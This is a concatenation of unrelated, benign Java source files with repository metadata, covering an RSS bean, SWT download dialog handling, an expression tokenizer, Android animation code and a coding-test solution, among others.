| 2016-03-25T01:37:12
| 2016-03-25T01:37:12
| 57,072,211
| 1
| 0
| null | 2016-04-25T19:57:45
| 2016-04-25T19:57:45
| null |
UTF-8
|
Java
| false
| false
| 1,538
|
java
|
/*
* Copyright 2008-2013 Lars Vogel
*
* Licensed under the Eclipse Public License - v 1.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at:
*
* http://www.eclipse.org/legal/epl-v10.html
*
* This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES
* OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and
* limitations under the License.
*/
package com.amazonaws.eclipse.core.rss;
/*
* Represents one RSS message
*/
public class FeedMessage {
String title;
String description;
String link;
String author;
String guid;
public String getTitle() {
return title;
}
public void setTitle(String title) {
this.title = title;
}
public String getDescription() {
return description;
}
public void setDescription(String description) {
this.description = description;
}
public String getLink() {
return link;
}
public void setLink(String link) {
this.link = link;
}
public String getAuthor() {
return author;
}
public void setAuthor(String author) {
this.author = author;
}
public String getGuid() {
return guid;
}
public void setGuid(String guid) {
this.guid = guid;
}
@Override
public String toString() {
return "FeedMessage [title=" + title + ", description=" + description
+ ", link=" + link + ", author=" + author + ", guid=" + guid
+ "]";
}
}
|
[
"fulghum@amazon.com"
] |
fulghum@amazon.com
|
01a56a3d80f7337608190b9ef71bbf2a3fe88a9b
|
de514e258a6e368fea5de242ebaadb16b267c332
|
/concurrentdemo/src/main/java/com/art2cat/dev/concurrency/concurrency_in_practice/the_java_memory_model/EagerInitialization.java
|
23a0590a05993b3d7cabde3ed39ba06b3578cc79
|
[] |
no_license
|
Art2Cat/JavaDemo
|
09e1e10d4bbc13fb80f6afd92e56d4c4bfed3d51
|
08a8a45c3301bfba5856b7edeebf37ebd648111b
|
refs/heads/master
| 2021-06-21T16:40:04.403603
| 2019-08-03T06:14:18
| 2019-08-03T06:14:18
| 104,846,429
| 0
| 1
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 394
|
java
|
package com.art2cat.dev.concurrency.concurrency_in_practice.the_java_memory_model;
/**
* EagerInitialization
* <p/>
* Eager initialization
*
* @author Brian Goetz and Tim Peierls
*/
public class EagerInitialization {
private static Resource resource = new Resource();
public static Resource getResource() {
return resource;
}
static class Resource {
}
}
|
[
"yiming.whz@gmail.com"
] |
yiming.whz@gmail.com
|
2cc9d6f0bb380d0358062bf560784190491434e2
|
065c1f648e8dd061a20147ff9c0dbb6b5bc8b9be
|
/eclipseswt_cluster/17341/tar_1.java
|
584f5481339807595a89c1320623a014c01fd7a5
|
[] |
no_license
|
martinezmatias/GenPat-data-C3
|
63cfe27efee2946831139747e6c20cf952f1d6f6
|
b360265a6aa3bb21bd1d64f1fc43c3b37d0da2a4
|
refs/heads/master
| 2022-04-25T17:59:03.905613
| 2020-04-15T14:41:34
| 2020-04-15T14:41:34
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 7,417
|
java
|
/*******************************************************************************
* Copyright (c) 2003, 2005 IBM Corporation and others.
* All rights reserved. This program and the accompanying materials
* are made available under the terms of the Eclipse Public License v1.0
* which accompanies this distribution, and is available at
* http://www.eclipse.org/legal/epl-v10.html
*
* Contributors:
* IBM Corporation - initial API and implementation
*******************************************************************************/
package org.eclipse.swt.browser;
import org.eclipse.swt.*;
import org.eclipse.swt.internal.mozilla.*;
import org.eclipse.swt.internal.gtk.OS;
import org.eclipse.swt.widgets.*;
class HelperAppLauncherDialog {
XPCOMObject supports;
XPCOMObject helperAppLauncherDialog;
int refCount = 0;
public HelperAppLauncherDialog() {
createCOMInterfaces();
}
int AddRef() {
refCount++;
return refCount;
}
void createCOMInterfaces() {
/* Create each of the interfaces that this object implements */
supports = new XPCOMObject(new int[]{2, 0, 0}){
public int /*long*/ method0(int /*long*/[] args) {return QueryInterface(args[0], args[1]);}
public int /*long*/ method1(int /*long*/[] args) {return AddRef();}
public int /*long*/ method2(int /*long*/[] args) {return Release();}
};
helperAppLauncherDialog = new XPCOMObject(new int[]{2, 0, 0, 3, 5}){
public int /*long*/ method0(int /*long*/[] args) {return QueryInterface(args[0], args[1]);}
public int /*long*/ method1(int /*long*/[] args) {return AddRef();}
public int /*long*/ method2(int /*long*/[] args) {return Release();}
public int /*long*/ method3(int /*long*/[] args) {return Show(args[0], args[1], args[2]);}
public int /*long*/ method4(int /*long*/[] args) {return PromptForSaveToFile(args[0], args[1], args[2], args[3], args[4]);}
};
}
void disposeCOMInterfaces() {
if (supports != null) {
supports.dispose();
supports = null;
}
if (helperAppLauncherDialog != null) {
helperAppLauncherDialog.dispose();
helperAppLauncherDialog = null;
}
}
int /*long*/ getAddress() {
return helperAppLauncherDialog.getAddress();
}
int /*long*/ QueryInterface(int /*long*/ riid, int /*long*/ ppvObject) {
if (riid == 0 || ppvObject == 0) return XPCOM.NS_ERROR_NO_INTERFACE;
nsID guid = new nsID();
XPCOM.memmove(guid, riid, nsID.sizeof);
if (guid.Equals(nsISupports.NS_ISUPPORTS_IID)) {
XPCOM.memmove(ppvObject, new int /*long*/[] {supports.getAddress()}, OS.PTR_SIZEOF);
AddRef();
return XPCOM.NS_OK;
}
if (guid.Equals(nsIHelperAppLauncherDialog.NS_IHELPERAPPLAUNCHERDIALOG_IID)) {
XPCOM.memmove(ppvObject, new int /*long*/[] {helperAppLauncherDialog.getAddress()}, OS.PTR_SIZEOF);
AddRef();
return XPCOM.NS_OK;
}
XPCOM.memmove(ppvObject, new int /*long*/[] {0}, OS.PTR_SIZEOF);
return XPCOM.NS_ERROR_NO_INTERFACE;
}
int Release() {
refCount--;
/*
* Note. This instance lives as long as the download it is binded to.
* Its reference count is expected to go down to 0 when the download
* has completed or when it has been cancelled. E.g. when the user
* cancels the File Dialog, cancels or closes the Download Dialog
* and when the Download Dialog goes away after the download is completed.
*/
if (refCount == 0) disposeCOMInterfaces();
return refCount;
}
/* nsIHelperAppLauncherDialog */
public int /*long*/ Show(int /*long*/ aLauncher, int /*long*/ aContext, int /*long*/ aReason) {
/*
* The interface for nsIHelperAppLauncher changed as of mozilla 1.8. Query the received
* nsIHelperAppLauncher for the new interface, and if it is not found then fall back to
* the old interface.
*/
nsISupports supports = new nsISupports(aLauncher);
int /*long*/[] result = new int /*long*/[1];
int rc = supports.QueryInterface(nsIHelperAppLauncher_1_8.NS_IHELPERAPPLAUNCHER_IID, result);
if (rc == 0) { /* >= 1.8 */
nsIHelperAppLauncher_1_8 helperAppLauncher = new nsIHelperAppLauncher_1_8(aLauncher);
rc = helperAppLauncher.SaveToDisk(0, false);
helperAppLauncher.Release();
return rc;
}
nsIHelperAppLauncher helperAppLauncher = new nsIHelperAppLauncher(aLauncher); /* < 1.8 */
return helperAppLauncher.SaveToDisk(0, false);
}
public int /*long*/ PromptForSaveToFile(int /*long*/ arg0, int /*long*/ arg1, int /*long*/ arg2, int /*long*/ arg3, int /*long*/ arg4) {
int /*long*/ aDefaultFile, aSuggestedFileExtension, _retval;
boolean hasLauncher = false;
/*
* The interface for nsIHelperAppLauncherDialog changed as of mozilla 1.5 when an
* extra argument was added to the PromptForSaveToFile method (this resulted in all
* subsequent arguments shifting right). The workaround is to provide an XPCOMObject
* that fits the newer API, and to use the first argument's type to infer whether
* the old or new nsIHelperAppLauncherDialog interface is being used (and by extension
* the ordering of the arguments). In mozilla >= 1.5 the first argument is an
* nsIHelperAppLauncher.
*/
/*
* The interface for nsIHelperAppLauncher changed as of mozilla 1.8, so the first
* argument must be queried for both the old and new nsIHelperAppLauncher interfaces.
*/
nsISupports support = new nsISupports(arg0);
int /*long*/[] result = new int /*long*/[1];
int rc = support.QueryInterface(nsIHelperAppLauncher_1_8.NS_IHELPERAPPLAUNCHER_IID, result);
boolean usingMozilla18 = rc == 0;
if (usingMozilla18) {
hasLauncher = true;
nsISupports supports = new nsISupports(result[0]);
supports.Release();
} else {
result[0] = 0;
rc = support.QueryInterface(nsIHelperAppLauncher.NS_IHELPERAPPLAUNCHER_IID, result);
if (rc == 0) {
hasLauncher = true;
nsISupports supports = new nsISupports(result[0]);
supports.Release();
}
}
result[0] = 0;
if (hasLauncher) { /* >= 1.5 */
aDefaultFile = arg2;
aSuggestedFileExtension = arg3;
_retval = arg4;
} else { /* 1.4 */
aDefaultFile = arg1;
aSuggestedFileExtension = arg2;
_retval = arg3;
}
int length = XPCOM.strlen_PRUnichar(aDefaultFile);
char[] dest = new char[length];
XPCOM.memmove(dest, aDefaultFile, length * 2);
String defaultFile = new String(dest);
length = XPCOM.strlen_PRUnichar(aSuggestedFileExtension);
dest = new char[length];
XPCOM.memmove(dest, aSuggestedFileExtension, length * 2);
String suggestedFileExtension = new String(dest);
Shell shell = new Shell();
FileDialog fileDialog = new FileDialog(shell, SWT.SAVE);
fileDialog.setFileName(defaultFile);
fileDialog.setFilterExtensions(new String[] {suggestedFileExtension});
String name = fileDialog.open();
shell.close();
if (name == null) {
if (hasLauncher) {
if (usingMozilla18) {
nsIHelperAppLauncher_1_8 launcher = new nsIHelperAppLauncher_1_8(arg0);
rc = launcher.Cancel(XPCOM.NS_BINDING_ABORTED);
} else {
nsIHelperAppLauncher launcher = new nsIHelperAppLauncher(arg0);
rc = launcher.Cancel();
}
if (rc != XPCOM.NS_OK) Browser.error(rc);
return XPCOM.NS_OK;
}
return XPCOM.NS_ERROR_FAILURE;
}
nsEmbedString path = new nsEmbedString(name);
rc = XPCOM.NS_NewLocalFile(path.getAddress(), true, result);
path.dispose();
if (rc != XPCOM.NS_OK) Browser.error(rc);
if (result[0] == 0) Browser.error(XPCOM.NS_ERROR_NULL_POINTER);
/* Our own nsIDownload has been registered during the Browser initialization. It will be invoked by Mozilla. */
XPCOM.memmove(_retval, result, OS.PTR_SIZEOF);
return XPCOM.NS_OK;
}
}
|
[
"375833274@qq.com"
] |
375833274@qq.com
|
fe09505010bb90a95bc3dee3877fc45618b05399
|
cf7c928d6066da1ce15d2793dcf04315dda9b9ed
|
/SW_Expert_Academy/D0/Solution_D0_5658_보물상자비밀번호.java
|
fd6b82e4f485180320da92b97c7daed98b25d2b4
|
[] |
no_license
|
refresh6724/APS
|
a261b3da8f53de7ff5ed687f21bb1392046c98e5
|
945e0af114033d05d571011e9dbf18f2e9375166
|
refs/heads/master
| 2022-02-01T23:31:42.679631
| 2021-12-31T14:16:04
| 2021-12-31T14:16:04
| 251,617,280
| 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 1,782
|
java
|
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.util.ArrayList;
import java.util.Collections;
import java.util.HashSet;
import java.util.StringTokenizer;
// 기존 제출일 2019-10-31 11:38 (풀이시간 11:03~11:38 약 30분)
public class Solution_D0_5658_보물상자비밀번호 { // 수정 제출일 2020-03-01 21:54
static BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
static BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(System.out));
static StringTokenizer st = null;
static StringBuilder sb = new StringBuilder();
static int N;
static int K;
public static void main(String[] args) throws Exception {
int TC = Integer.parseInt(br.readLine());
for (int tc = 1; tc <= TC; tc++) {
st = new StringTokenizer(br.readLine());
N = Integer.parseInt(st.nextToken());
K = Integer.parseInt(st.nextToken());
String line = br.readLine();
char[] arr = line.toCharArray();
HashSet<Integer> set = new HashSet<>();
int rot = N / 4;
for (int i = 0; i < rot; i++) {
set.add(Integer.parseInt(line.substring(0, rot), 16));
set.add(Integer.parseInt(line.substring(rot, rot * 2), 16));
set.add(Integer.parseInt(line.substring(rot * 2, rot * 3), 16));
set.add(Integer.parseInt(line.substring(rot * 3, rot * 4), 16));
// 회전
char tmp = arr[0];
for (int j = 1; j < N; j++) {
arr[j - 1] = arr[j];
}
arr[N - 1] = tmp;
line = String.valueOf(arr);
}
ArrayList<Integer> array = new ArrayList(set);
Collections.sort(array);
sb.append("#").append(tc).append(" ").append(array.get(array.size() - K)).append("\n");
}
bw.write(sb.toString());
bw.flush();
}
}
|
[
"refresh6724@gmail.com"
] |
refresh6724@gmail.com
|
36ad2c39a627a8470b86b5bf7dd76bdeae5841db
|
485cea47fd87f58a753ba581eae1e88e67f01be7
|
/CoyoteDX/src/main/java/coyote/commons/eval/Token.java
|
0527aeaf5533223b3c45fa5bad8bb640716fafb3
|
[] |
no_license
|
sdcote/coyote
|
18706dc345addf6cd64809f840e2bddb4309bc17
|
7de908e3f089715ad1652f357dc95d2ceb5483c4
|
refs/heads/main
| 2023-03-06T23:42:49.573817
| 2023-03-02T17:06:31
| 2023-03-02T17:06:31
| 89,138,130
| 8
| 4
| null | 2022-11-10T22:06:36
| 2017-04-23T11:52:21
|
JavaScript
|
UTF-8
|
Java
| false
| false
| 3,935
|
java
|
package coyote.commons.eval;
/**
* A token of an expression.
*
* <p>When evaluating an expression, it is first split into tokens. These
* tokens can be operators, constants, etc ...
*/
public class Token {
static final Token FUNCTION_ARG_SEPARATOR = new Token(Kind.FUNCTION_SEPARATOR, null);
private final Object content;
private final Kind kind;
protected static Token buildCloseToken(final BracketPair pair) {
return new Token(Kind.CLOSE_BRACKET, pair);
}
protected static Token buildFunction(final Function function) {
return new Token(Kind.FUNCTION, function);
}
protected static Token buildLiteral(final String literal) {
return new Token(Kind.LITERAL, literal);
}
protected static Token buildMethod(final Method method) {
return new Token(Kind.METHOD, method);
}
protected static Token buildOpenToken(final BracketPair pair) {
return new Token(Kind.OPEN_BRACKET, pair);
}
protected static Token buildOperator(final Operator ope) {
return new Token(Kind.OPERATOR, ope);
}
private Token(final Kind kind, final Object content) {
super();
if ((kind.equals(Kind.OPERATOR) && !(content instanceof Operator)) || (kind.equals(Kind.FUNCTION) && !(content instanceof Function)) || (kind.equals(Kind.METHOD) && !(content instanceof Method)) || (kind.equals(Kind.LITERAL) && !(content instanceof String))) {
throw new IllegalArgumentException();
}
this.kind = kind;
this.content = content;
}
/**
* Tests whether the token is a close bracket.
*
* @return true if the token is a close bracket
*/
public boolean isCloseBracket() {
return kind.equals(Kind.CLOSE_BRACKET);
}
/**
* Tests whether the token is a function.
*
* @return true if the token is a function
*/
public boolean isFunction() {
return kind.equals(Kind.FUNCTION);
}
/**
* Tests whether the token is a function argument separator.
*
* @return true if the token is a function argument separator
*/
public boolean isFunctionArgumentSeparator() {
return kind.equals(Kind.FUNCTION_SEPARATOR);
}
/**
* Tests whether the token is a literal or a constant or a variable name.
*
* @return true if the token is a literal, a constant or a variable name
*/
public boolean isLiteral() {
return kind.equals(Kind.LITERAL);
}
/**
* Tests whether the token is a method.
*
* @return true if the token is a method
*/
public boolean isMethod() {
return kind.equals(Kind.METHOD);
}
/**
* Tests whether the token is an open bracket.
*
* @return true if the token is an open bracket
*/
public boolean isOpenBracket() {
return kind.equals(Kind.OPEN_BRACKET);
}
/**
* Tests whether the token is an operator.
*
* @return true if the token is an operator
*/
public boolean isOperator() {
return kind.equals(Kind.OPERATOR);
}
/**
* @see java.lang.Object#toString()
*/
@Override
public String toString() {
return content != null ? content.toString() : "NULL";
}
protected Operator.Associativity getAssociativity() {
return getOperator().getAssociativity();
}
protected BracketPair getBrackets() {
return (BracketPair)content;
}
protected Function getFunction() {
return (Function)content;
}
protected Kind getKind() {
return kind;
}
protected String getLiteral() {
if (!kind.equals(Kind.LITERAL)) {
throw new IllegalArgumentException();
}
return (String)content;
}
protected Method getMethod() {
return (Method)content;
}
protected Operator getOperator() {
return (Operator)content;
}
protected int getPrecedence() {
return getOperator().getPrecedence();
}
private enum Kind {
CLOSE_BRACKET, FUNCTION, FUNCTION_SEPARATOR, LITERAL, METHOD, OPEN_BRACKET, OPERATOR
}
}
|
[
"sdcote@aep.com"
] |
sdcote@aep.com
|
bca1d8cd34508d908f51472ca266b772cc43b013
|
d4ec0e0d50356b63e83db80b343f050ee322ae94
|
/Eschool/src/com/changh/eschool/entity/Send.java
|
e347ea6fdebd036aeaa400e42ef5f41bd5b38920
|
[] |
no_license
|
examw/daliedu
|
b834cbab8498efefd523425a803ddfcda9de7bba
|
f6a46a2c6d85e23f7c3ec92be2cd6681623dd459
|
refs/heads/master
| 2016-09-05T12:13:52.981320
| 2015-03-22T06:28:10
| 2015-03-22T06:28:10
| 32,064,607
| 1
| 2
| null | null | null | null |
GB18030
|
Java
| false
| false
| 5,587
|
java
|
package com.changh.eschool.entity;
// default package
import java.util.Date;
import com.changh.eschool.until.Constant;
/**
* Send entity. @author MyEclipse Persistence Tools
*/
public class Send implements java.io.Serializable {
// Fields
private Integer sendId;
private Order order;
private Integer id;
private Integer epcId;
// private ExpressCompany company;
private Integer sendStatus; //寄送状态 0:未送,1:在送,2:已送,3:已回寄【退单时用】
private Date sendTime;
private Date sendAddTime;
private String sendPerson;
private Date sendConfirmTime;
private String sendDetail;//赠送详细
private String sendContent;//寄送内容
private double sendCost; //寄送花费
private String epcName;
private Integer sendType;//寄送类型 0:教材;1:发票,2:其他
private String sendExpressNo;//寄送的快递单号
private String sendReceiveName;
private String sendFullAddress;
private String sendMobile;
private String sendPostalCode;
//
private Integer orderId;
private String status;
// Constructors
/** default constructor */
public Send() {
}
/** minimal constructor */
public Send(Integer sendId, Order order, Integer id, Integer sendStatus) {
this.sendId = sendId;
this.order = order;
this.id = id;
this.sendStatus = sendStatus;
}
/** full constructor
public Send(Integer sendId, Order order, Integer id, ExpressCompany company, String sendOrderId, Integer sendStatus, Date sendTime, Date sendAddTime,String sendPerson, Date sendConfirmTime,String sendDetail,double sendCost) {
this.sendId = sendId;
this.order = order;
this.id = id;
this.company= company;
this.sendOrderId = sendOrderId;
this.sendStatus = sendStatus;
this.sendTime = sendTime;
this.sendAddTime = sendAddTime;
this.sendPerson = sendPerson;
this.sendConfirmTime = sendConfirmTime;
this.sendDetail=sendDetail;
this.sendCost=sendCost;
}
*/
// Property accessors
public Integer getSendId() {
return this.sendId;
}
public void setSendId(Integer sendId) {
this.sendId = sendId;
}
public Order getOrder() {
return this.order;
}
public void setOrder(Order order) {
this.order = order;
}
public Integer getId() {
return this.id;
}
public void setId(Integer id) {
this.id = id;
}
public Integer getSendStatus() {
return this.sendStatus;
}
public void setSendStatus(Integer sendStatus) {
this.sendStatus = sendStatus;
}
public Date getSendTime() {
return this.sendTime;
}
public void setSendTime(Date sendTime) {
this.sendTime = sendTime;
}
public String getSendPerson() {
return this.sendPerson;
}
public void setSendPerson(String sendPerson) {
this.sendPerson = sendPerson;
}
public Date getSendConfirmTime() {
return this.sendConfirmTime;
}
public void setSendConfirmTime(Date sendConfirmTime) {
this.sendConfirmTime = sendConfirmTime;
}
public String getSendDetail() {
return sendDetail;
}
public void setSendDetail(String sendDetail) {
this.sendDetail = sendDetail;
}
///////////////////
public String getStatus()
{
switch(sendStatus)
{
case Constant.PRESEND:return "未送";
case Constant.SENDING:return "送货中";
case Constant.SENT:return "已送";
default : return "unknown";
}
}
public Integer getEpcId() {
return this.epcId;
}
public void setEpcId(Integer epcId) {
this.epcId = epcId;
}
public String getEpcName()
{
return this.epcName;
}
/////////////////////////
public Integer getOrderId() {
return orderId;
}
public void setOrderId(Integer orderId) {
this.orderId = orderId;
}
public Date getSendAddTime() {
return sendAddTime;
}
public void setSendAddTime(Date sendAddTime) {
this.sendAddTime = sendAddTime;
}
public double getSendCost() {
return sendCost;
}
public void setSendCost(double sendCost) {
this.sendCost = sendCost;
}
public void setEpcName(String epcName) {
this.epcName = epcName;
}
public String getSendContent() {
return sendContent;
}
public void setSendContent(String sendContent) {
this.sendContent = sendContent;
}
public Integer getSendType() {
return sendType;
}
public void setSendType(Integer sendType) {
this.sendType = sendType;
}
public String getSendExpressNo() {
return sendExpressNo;
}
public void setSendExpressNo(String sendExpressNo) {
this.sendExpressNo = sendExpressNo;
}
public String getSendReceiveName() {
return sendReceiveName;
}
public void setSendReceiveName(String sendReceiveName) {
this.sendReceiveName = sendReceiveName;
}
public String getSendFullAddress() {
return sendFullAddress;
}
public void setSendFullAddress(String sendFullAddress) {
this.sendFullAddress = sendFullAddress;
}
public String getSendMobile() {
return sendMobile;
}
public void setSendMobile(String sendMobile) {
this.sendMobile = sendMobile;
}
public String getSendPostalCode() {
return sendPostalCode;
}
public void setSendPostalCode(String sendPostalCode) {
this.sendPostalCode = sendPostalCode;
}
}
|
[
"fw121fw4@163.com"
] |
fw121fw4@163.com
|
fd5daded4137a2eab1ded1850bd0f6ded8ac5cd3
|
a1826c2ed9c12cfc395fb1a14c1a2e1f097155cb
|
/linkvisual-20180120/src/main/java/com/aliyun/linkvisual20180120/models/CreatePictureSearchAppResponse.java
|
916ceeb5f31c8620cad7a46eb124f2fddfa84e60
|
[
"Apache-2.0"
] |
permissive
|
aliyun/alibabacloud-java-sdk
|
83a6036a33c7278bca6f1bafccb0180940d58b0b
|
008923f156adf2e4f4785a0419f60640273854ec
|
refs/heads/master
| 2023-09-01T04:10:33.640756
| 2023-09-01T02:40:45
| 2023-09-01T02:40:45
| 288,968,318
| 40
| 45
| null | 2023-06-13T02:47:13
| 2020-08-20T09:51:08
|
Java
|
UTF-8
|
Java
| false
| false
| 1,444
|
java
|
// This file is auto-generated, don't edit it. Thanks.
package com.aliyun.linkvisual20180120.models;
import com.aliyun.tea.*;
public class CreatePictureSearchAppResponse extends TeaModel {
@NameInMap("headers")
@Validation(required = true)
public java.util.Map<String, String> headers;
@NameInMap("statusCode")
@Validation(required = true)
public Integer statusCode;
@NameInMap("body")
@Validation(required = true)
public CreatePictureSearchAppResponseBody body;
public static CreatePictureSearchAppResponse build(java.util.Map<String, ?> map) throws Exception {
CreatePictureSearchAppResponse self = new CreatePictureSearchAppResponse();
return TeaModel.build(map, self);
}
public CreatePictureSearchAppResponse setHeaders(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
public CreatePictureSearchAppResponse setStatusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
public Integer getStatusCode() {
return this.statusCode;
}
public CreatePictureSearchAppResponse setBody(CreatePictureSearchAppResponseBody body) {
this.body = body;
return this;
}
public CreatePictureSearchAppResponseBody getBody() {
return this.body;
}
}
|
[
"sdk-team@alibabacloud.com"
] |
sdk-team@alibabacloud.com
|
17c8c24540df452127d5eb044666b5ab2680a7c8
|
5a70dc0b17f2a5b2d1ca13685534840c8050099d
|
/app/src/animations/java/configure/test/configurebuilds/activities/test104/Animation104Activity.java
|
e637912b21f2de19961159e24509325e0af95cc3
|
[] |
no_license
|
pankajnimgade/ConfigureBuilds
|
6ee100947d7f13e84e0059e8e0bf234f8d67e729
|
a23bf58085fa69264de51595a37815a2e64c6f79
|
refs/heads/master
| 2021-07-08T20:44:32.423245
| 2021-05-12T21:06:56
| 2021-05-12T21:06:56
| 124,326,139
| 0
| 0
| null | 2019-06-05T02:53:47
| 2018-03-08T02:40:27
|
Java
|
UTF-8
|
Java
| false
| false
| 3,355
|
java
|
/*
* Copyright 2018 Pankaj Nimgade
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package configure.test.configurebuilds.activities.test104;
import android.animation.Animator;
import android.animation.AnimatorListenerAdapter;
import android.animation.ObjectAnimator;
import android.animation.ValueAnimator;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import androidx.appcompat.app.AppCompatActivity;
import androidx.appcompat.widget.Toolbar;
import androidx.constraintlayout.widget.ConstraintLayout;
import com.google.android.material.floatingactionbutton.FloatingActionButton;
import com.google.android.material.snackbar.Snackbar;
import configure.test.configurebuilds.R;
public class Animation104Activity extends AppCompatActivity {
private ConstraintLayout rootLayout;
private Button removeButton;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_animation104);
Toolbar toolbar = (Toolbar) findViewById(R.id.toolbar);
setSupportActionBar(toolbar);
FloatingActionButton fab = (FloatingActionButton) findViewById(R.id.fab);
fab.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Snackbar.make(view, "Replace with your own action", Snackbar.LENGTH_LONG)
.setAction("Action", null).show();
}
});
initializeUi();
getSupportActionBar().setDisplayHomeAsUpEnabled(true);
}
private void initializeUi() {
rootLayout = findViewById(R.id.Animation104Activity_rootView);
removeButton = findViewById(R.id.Animation104Activity_remove_button);
removeButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
ValueAnimator fadeAnim = ObjectAnimator.ofFloat(removeButton,
"translationY", 400);
final ValueAnimator translationY = ObjectAnimator.ofFloat(removeButton,
"alpha", 1f, 0f);
translationY.setDuration(350);
fadeAnim.setDuration(350);
fadeAnim.addListener(new AnimatorListenerAdapter() {
@Override
public void onAnimationStart(Animator animation) {
super.onAnimationStart(animation);
translationY.start();
}
@Override
public void onAnimationEnd(Animator animation) {
rootLayout.removeView(removeButton);
}
});
fadeAnim.start();
}
});
}
}
|
[
"pankaj.nimgade@gmail.com"
] |
pankaj.nimgade@gmail.com
|
fa8cb2f2710b2d56e5671f255d88371f16ae3d54
|
c35ea5716b4611730b4f004154e92e6c07b22940
|
/test/com/facebook/buck/rules/FakeAbstractBuildRuleBuilderParams.java
|
474e9946b6daed49829b13476b7bb45a97d14a57
|
[
"Apache-2.0"
] |
permissive
|
belomx/open_tools
|
40665bf2171aec7ccd9740b2686990350882e959
|
40edf05000921cfbfe41c3440e94220357e40ba5
|
refs/heads/master
| 2021-01-20T12:12:39.789164
| 2015-06-08T13:32:25
| 2015-06-08T13:32:25
| 36,820,163
| 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 1,118
|
java
|
/*
* Copyright 2013-present Facebook, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may
* not use this file except in compliance with the License. You may obtain
* a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations
* under the License.
*/
package com.facebook.buck.rules;
import com.facebook.buck.testutil.IdentityPathRelativizer;
import com.google.common.base.Function;
import java.nio.file.Path;
public class FakeAbstractBuildRuleBuilderParams implements AbstractBuildRuleBuilderParams {
@Override
public Function<String, Path> getPathRelativizer() {
return IdentityPathRelativizer.getIdentityRelativizer();
}
@Override
public RuleKeyBuilderFactory getRuleKeyBuilderFactory() {
return new FakeRuleKeyBuilderFactory();
}
}
|
[
"mbolin@fb.com"
] |
mbolin@fb.com
|
9cdd6d692e2a1adbcddcc2221e23aa0b7fd8918e
|
89a020e209d84c219430b73c5c5218766e66ac98
|
/src/main/java/org/step/linked/step/util/DbHelper.java
|
467dc603fe97436ebcbbe4e150134248d491320e
|
[] |
no_license
|
vdanke/LinkedStepSpringBoot
|
576b4b1a979464a526f482de28f8864f435662f3
|
6e3648c8404b4b88fcfd22c1a5dd402fc3c68e9f
|
refs/heads/master
| 2022-12-30T12:34:59.502980
| 2020-10-13T03:45:34
| 2020-10-13T03:45:34
| 300,341,897
| 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 619
|
java
|
package org.step.linked.step.util;
import org.springframework.stereotype.Component;
import org.step.linked.step.entity.projection.IdProjection;
import org.step.linked.step.repository.LinkedCommonRepository;
@Component
public class DbHelper<T> {
public Long generateId(LinkedCommonRepository<T> commonRepository) {
final long startId = 1L;
long newId;
IdProjection maxId = commonRepository.findTopByOrderByIdDesc();
if (maxId == null) {
newId = startId;
} else {
newId = maxId.getId();
++newId;
}
return newId;
}
}
|
[
"vielendanke1991@gmail.com"
] |
vielendanke1991@gmail.com
|
82e36cf79d21d3b6c563fd9ebda2843866f028d4
|
fa91450deb625cda070e82d5c31770be5ca1dec6
|
/Diff-Raw-Data/12/12_f9d43a8a5fcd84a5ddd84b9861edadc750c76641/RouterVersion/12_f9d43a8a5fcd84a5ddd84b9861edadc750c76641_RouterVersion_s.java
|
20eae22f7b05b7d2149d60dac5ea3330e45d4047
|
[] |
no_license
|
zhongxingyu/Seer
|
48e7e5197624d7afa94d23f849f8ea2075bcaec0
|
c11a3109fdfca9be337e509ecb2c085b60076213
|
refs/heads/master
| 2023-07-06T12:48:55.516692
| 2023-06-22T07:55:56
| 2023-06-22T07:55:56
| 259,613,157
| 6
| 2
| null | 2023-06-22T07:55:57
| 2020-04-28T11:07:49
| null |
UTF-8
|
Java
| false
| false
| 1,109
|
java
|
package net.i2p.router;
/*
* free (adj.): unencumbered; not under the control of others
* Written by jrandom in 2003 and released into the public domain
* with no warranty of any kind, either expressed or implied.
* It probably won't make your computer catch on fire, or eat
* your children, but it might. Use at your own risk.
*
*/
import net.i2p.CoreVersion;
/**
* Expose a version string
*
*/
public class RouterVersion {
/** deprecated */
public final static String ID = "Monotone";
public final static String VERSION = CoreVersion.VERSION;
public final static long BUILD = 3;
/** for example "-test" */
public final static String EXTRA = "";
public final static String FULL_VERSION = VERSION + "-" + BUILD + EXTRA;
public static void main(String args[]) {
System.out.println("I2P Router version: " + FULL_VERSION);
System.out.println("Router ID: " + RouterVersion.ID);
System.out.println("I2P Core version: " + CoreVersion.VERSION);
System.out.println("Core ID: " + CoreVersion.ID);
}
}
|
[
"yuzhongxing88@gmail.com"
] |
yuzhongxing88@gmail.com
|
8b050da43588d2eb0c2635fe2cc8951a195f56d8
|
5f6edf313639dbe464a1c9cbb62762b427786235
|
/crm/src/com/naswork/module/marketing/controller/clientorder/EmailVo.java
|
